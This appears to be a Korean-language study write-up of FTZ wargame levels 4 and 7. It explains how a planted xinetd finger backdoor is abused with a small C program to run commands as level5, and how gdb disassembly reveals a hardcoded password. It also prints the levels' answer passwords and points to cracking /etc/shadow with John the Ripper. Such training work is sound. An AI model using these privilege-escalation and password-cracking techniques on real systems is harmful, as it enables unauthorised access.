

# SYSTEM HACKING

## 2. LEVEL4 & LEVEL7 문제풀이



# Level4 문제풀이

SUCK MY BRAIN

# 1. 문제 힌트 보기(1)

```
[level4@ftz level4]$ cat hint
```

```
누 군 가 /etc/xinetd.d/에 백 도 어 를 심 어 놓 았 다 .!
```

Xinetd. 슈퍼 데몬

→ 텔넷 ssh 등의 네트워크 통신을 위한 데몬

# <xinetd서비스의 글로벌 설정>

```
[level4@ftz xinetd.d]$ cat /etc/xinetd.conf
#
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
```

```
defaults
{
```

```
    instances
    log_type
    log_on_success
    log_on_failure
    cps
```

```
}
```

```
includedir /etc/xinetd.d
```

```
= 60
= SYSLOG authpriv
= HOST PID
= HOST
= 25 30
```

네트워크 서비스 데몬의 최대 동시 접속 허용을 위한 데몬의 기동 수치

시스템 로그를 "보안 및 승인에 관한 메시지 등급"으로 저장

접속에 성공했을 때 원격호스트 IP와 xinetd PID를 로그에 저장

접속에 실패했을 때 원격 호스트 IP와 로그에 저장한다는 의미로 접속 장애의 원인을 분석할 수 있는 최소한의 근거를 이력으로 남김

동시 접속이 25개가 되면 30초 동안 서비스를 비활성화

# <xinetd서비스의 개별 서비스에 대한 설정>

```
[level4@ftz xinetd.d]$ cat /etc/xinetd.d/telnet
# default: on
# description: The telnet server serves telnet sessions; it uses \
#      unencrypted username/password pairs for authentication.
service telnet
{
    flags                = REUSE
    socket_type          = stream
    wait                = no
    user                 = root
    server               = /usr/sbin/in.telnetd
    log_on_failure       += USERID
    disable              = no
}
```

서비스 포트가 사용 중인 경우 해당  
포트의 재사용을 허가

Tcp/ip프로토콜을 선택

이미 서비스가 연결된 상태에서 다른  
요청이 오면 바로 응답함. 다르게  
표현하면 telnet은 동시에 다수의 접속이  
가능하다는 의미

해당 데몬이 root계정의 권한으로 실행 됨

Xinted에 의해 실행될 데몬 파일

정상적인 기동에 실패한 경우 USERID를  
로그에 기록

데몬을 비활성화하지 않음

# 1. 문제 힌트 보기(2)

```
[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls -al
total 88
drwxr-xr-x  2 root    root    4096 Sep 10  2011 .
drwxr-xr-x 52 root    root    4096 Sep 21 09:01 ..
-r--r--r--  1 root    level4  171 Sep 10  2011 backdoor
-rw-r--r--  1 root    root    560 Dec 19  2007 chargen
-rw-r--r--  1 root    root    580 Dec 19  2007 chargen-udp
```

```
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
    disable = no
    flags    = REUSE
    socket_type = stream
    wait     = no
    user     = level5
    server   = /home/level4/tmp/backdoor
    log_on_failure += USERID
}
```

Finger 명령어 실행 시

Level5 권한으로

/home/level4/tmp/backdoor를 실행

## 2. Finger 서비스가 작동 중인지 확인

```
[level4@ftz level4]$ cat /etc/services | grep finger
finger          79/tcp
finger          79/udp
cfinger         2003/tcp                                # GNU Finger
```

```
[level4@ftz level4]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address          State
tcp    0      0 0.0.0.0:32768            0.0.0.0:*                LISTEN
tcp    0      0 127.0.0.1:32770          0.0.0.0:*                LISTEN
tcp    0      0 0.0.0.0:3306             0.0.0.0:*                LISTEN
tcp    0      0 0.0.0.0:79               0.0.0.0:*                LISTEN
tcp    0      0 0.0.0.0:111              0.0.0.0:*                LISTEN
tcp    0      0 0.0.0.0:22               0.0.0.0:*                LISTEN
```

### 3. 문제 풀이

```
[level4@ftz tmp]$ ls -al /home/level4/tmp/backdoor  
ls: /home/level4/tmp/backdoor: No such file or directory
```

```
#include <stdlib.h>  
  
int main()  
{  
    system("id");  
    system("my-pass");  
}
```

```
[level4@ftz level4]$ finger @localhost  
uid=3005(level5) gid=3005(level5)  
^[[H^[[J  
Level5 Password is "what is your name?".
```



Level7 문제풀이  
come together

## 1. 문제 힌트 보기

```
[level7@ftz level7]$ cat hint
```

/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운 곳에 ..
2. 상상력을 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.

## 1. 문제 힌트 보기

```
[level7@ftz level7]$ /bin/level7  
Insert The Password : hello  
cat: /bin/wrong.txt: No such file or directory
```

올바르지 않은 패스워드입니다.  
패스워드는 가까운곳에...

--- -- -- -- -- -- --  
- - - - - - - - - -

## 2. 문제 풀이

올바르지 않은 비밀번호입니다.  
비밀번호는 가까운곳에...

-----

HEX	6D	HEX	61	HEX	74	HEX	65
DEC	109	DEC	97	DEC	116	DEC	101
OCT	155	OCT	141	OCT	164	OCT	145
BIN	0110 1101	BIN	0110 0001	BIN	0111 0100	BIN	0110 0101

10진수	16진수	문자
96	0x60	.
97	0x61	a
98	0x62	b
99	0x63	c
100	0x64	d
101	0x65	e
102	0x66	f
103	0x67	g
104	0x68	h
105	0x69	i
106	0x6A	j
107	0x6B	k
108	0x6C	l
109	0x6D	m
110	0x6E	n
111	0x6F	o
112	0x70	p
113	0x71	q
114	0x72	r
115	0x73	s
116	0x74	t

# /bin/level7 디버깅해보기

(gdb) disas main

Dump of assembler code for function main:

```
0x08048454 <main+0>:  push    ebp
0x08048455 <main+1>:  mov     ebp,esp
0x08048457 <main+3>:  sub     esp,0x8
0x0804845a <main+6>:  and     esp,0xffffffff
0x0804845d <main+9>:  mov     eax,0x0
0x08048462 <main+14>: sub     esp,eax
0x08048464 <main+16>: sub     esp,0xc
0x08048467 <main+19>:  push    0x64
0x08048469 <main+21>:  call    0x8048344 <malloc>
0x0804846e <main+26>:  add     esp,0x10
0x08048471 <main+29>:  mov     DWORD PTR [ebp-4],eax
0x08048474 <main+32>:  sub     esp,0xc
0x08048477 <main+35>:  push    0x80485c0
0x0804847c <main+40>:  call    0x8048384 <printf>
0x08048481 <main+45>:  add     esp,0x10
0x08048484 <main+48>:  sub     esp,0x4
0x08048487 <main+51>:  push    ds:0x8049744
0x0804848d <main+57>:  push    0x64
0x0804848f <main+59>:  push    DWORD PTR [ebp-4]
0x08048492 <main+62>:  call    0x8048354 <fgets>
```

malloc(0x64)

(gdb) x/s 0x80485c0

0x80485c0 <\_IO\_stdin\_used+28>: "Insert The Password : "

fgets( ptr(\$ebp-4), 0x64, stdin);

fgets( char\* str, int num, FILE\* stream);

- Str:  
읽어들인 문자열을 저장할 char 배열을 가리키는 포인터
- Num:  
마지막 NULL문자를 포함하여, 읽어들일 최대 문자 수
- Stream:  
문자열을 읽어들일 스트림의 FILE객체를 가리키는 포인터  
(표준 입력stdin)에서 입력을 받으려면 여기에 stdin을 사용  
→ 임시버퍼로 stdin의 값을 저장하고 있음

## + <stdin 임시버퍼 확인해보기>

```
push    ds:0x8049744
push    0x64
push    DWORD PTR [ebp-4]
call    0x8048354 <fgets>
```

```
(gdb) b *main+70
Breakpoint 1 at 0x804849a
(gdb) r
Starting program: /bin/level7
Insert The Password : AAAAAAAAAAAAAAAAAAAAAA

(gdb) x/x 0x8049744
0x8049744 <stdin@@GLIBC_2.0>: 0x4212ecc0
(gdb) x/x 0x4212ecc0
0x4212ecc0 <_IO_2_1_stdin_>: 0xfbad2288
(gdb) x/x stdin
0x4212ecc0 <_IO_2_1_stdin_>: 0xfbad2288
(gdb) x/20x stdin
0x4212ecc0 <_IO_2_1_stdin_>: 0xfbad2288      0x40018013      0x40018013      0x40018000
0x4212ecd0 <_IO_2_1_stdin_+16>: 0x40018000      0x40018000      0x40018000      0x40018000
0x4212ece0 <_IO_2_1_stdin_+32>: 0x40018400      0x00000000      0x00000000      0x00000000
0x4212ecf0 <_IO_2_1_stdin_+48>: 0x00000000      0x00000000      0x00000000      0x00000000
0x4212ed00 <_IO_2_1_stdin_+64>: 0xffffffff      0x00000000      0x4212e130      0xffffffff
(gdb) x/20x 0x40018000
0x40018000: 0x41414141      0x41414141      0x41414141      0x41414141
0x40018010: 0x000a4141      0x00000000      0x00000000      0x00000000
0x40018020: 0x00000000      0x00000000      0x00000000      0x00000000
0x40018030: 0x00000000      0x00000000      0x00000000      0x00000000
0x40018040: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/s 0x40018000
0x40018000: 'A' <repeats 18 times>, "\n"
```

# /bin/level7 디버깅해보기

```
add esp,0x10
sub esp,0x4
push 0x4
push 0x80485d7
push DWORD PTR [ebp-4]
call 0x8048364 <strncmp>
add esp,0x10
test eax,eax
jne 0x80484cd <main+121>
continue
sub esp,0xc
push 0x80485e0
call 0x8048384 <printf>
add esp,0x10
sub esp,0xc
push 0x0
call 0x8048394 <exit>
sub esp,0xc
push 0x8048617
call 0x8048334 <system>
add esp,0x10
leave
ret
nop
```

Strncmp(ptr(ebp-4), mate ,0x4)

```
(gdb) x/s 0x80485d7
0x80485d7 <_IO_stdin_used+51>: "mate"
```

(gdb) x/s 0x80485e0

```
0x80485e0 <_IO_stdin_used+60>: "\nCongratulation! next password is \"break the world\".\n\n"
```

System(cat /bin/wrong.txt)

```
(gdb) x/s 0x8048617
0x8048617 <_IO_stdin_used+115>: "cat /bin/wrong.txt"
```

# <과제 ~09/27 23:59분까지>

- level8 풀고 정리하기

<hint>

→ find 명령어 옵션 찾아보기

→ /etc/shadow 파일 저장 형태 알아보기

→ john the ripper 툴 사용해보기(칼리리눅스에 깔려있음)

+ level3 /bin/autodig 디버깅해보기(필수x)